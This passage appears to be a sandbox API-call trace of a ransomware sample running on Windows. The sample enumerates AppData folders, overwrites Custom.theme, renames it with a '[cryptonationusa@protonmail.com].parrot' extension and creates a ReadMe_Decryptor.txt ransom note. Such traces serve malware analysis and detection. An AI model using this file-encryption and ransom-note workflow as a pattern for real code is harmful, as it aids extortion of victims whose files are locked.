lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0085.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0085.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1 [0085.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1 [0085.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc00ac420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc00ac420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0085.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1 [0085.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0 [0085.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68be68 | out: hHeap=0x5b0000) returned 1 [0085.359] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0085.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aacb8 | out: hHeap=0x5b0000) returned 1 [0085.360] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1 [0085.360] lstrcmpW (lpString1="Themes", lpString2=".") returned 1 [0085.360] lstrcmpW (lpString1="Themes", lpString2="..") returned 1 [0085.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0085.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x6acdb0 [0085.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0085.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aca90 | out: hHeap=0x5b0000) returned 1 [0085.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2240b88 [0085.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178aa0 [0085.360] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0085.361] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.361] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.361] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.361] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.361] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 1 [0085.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4c0 [0085.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0085.361] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.361] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0085.363] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.363] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x70a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x70a, lpOverlapped=0x0) returned 1 [0085.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0085.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0085.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0085.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0085.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178cb8 [0085.363] GetLastError () returned 0x0 [0085.363] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0085.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0085.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0085.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0085.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.364] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0085.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.364] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d4c0 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6aee70 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aee70 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0085.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3178cb8 [0085.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0085.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3178ea0 [0085.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178cb8 | out: hHeap=0x5b0000) returned 1 [0085.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179170 [0085.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178ea0 | out: hHeap=0x5b0000) returned 1 [0085.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31795a8 [0085.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179170 | out: hHeap=0x5b0000) returned 1 [0085.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x223e050 [0085.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31795a8 | out: hHeap=0x5b0000) returned 1 [0085.367] WriteFile (in: hFile=0x284, lpBuffer=0x223e050*, nNumberOfBytesToWrite=0x828, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x223e050*, lpNumberOfBytesWritten=0x18ebe4*=0x828, lpOverlapped=0x0) returned 1 [0085.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e050 | out: hHeap=0x5b0000) returned 1 [0085.367] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x822, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.367] CloseHandle (hObject=0x284) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aacb8 [0085.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68be68 [0085.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aacb8 | out: hHeap=0x5b0000) returned 1 [0085.368] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\Custom.theme" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\themes\\custom.theme"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\Custom.theme.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\themes\\custom.theme.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68be68 | out: hHeap=0x5b0000) returned 1 [0085.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6aee70 [0085.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6aca90 [0085.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0085.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0085.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\themes\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0085.370] GetFileType (hFile=0x284) returned 0x1 [0085.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178cb8 [0085.381] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0085.381] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xc0333b80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc0333b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.381] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xc0333b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.theme.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CUSTOM~1.PAR")) returned 1 [0085.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0085.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0085.382] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0085.382] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.382] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.382] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.382] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.382] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1 [0085.382] lstrcmpW (lpString1="ERC", lpString2=".") returned 1 [0085.382] lstrcmpW (lpString1="ERC", lpString2="..") returned 1 [0085.382] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6aee70 [0085.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.383] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d33c8 [0085.383] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178aa0 [0085.383] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0085.383] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.383] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.383] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.383] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.383] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.383] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6aff28 [0085.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.383] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0085.383] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0085.384] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.384] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aff28 | out: hHeap=0x5b0000) returned 1 [0085.384] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0085.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0085.384] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1 [0085.384] lstrcmpW (lpString1="ReportArchive", lpString2=".") returned 1 [0085.384] lstrcmpW (lpString1="ReportArchive", lpString2="..") returned 1 [0085.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4c0 [0085.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c068 [0085.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x601838 [0085.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c068 | out: hHeap=0x5b0000) returned 1 [0085.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aee70 | out: hHeap=0x5b0000) returned 1 [0085.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0085.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bee8 [0085.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178aa0 [0085.384] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0085.385] lstrcmpW (lpString1=".", 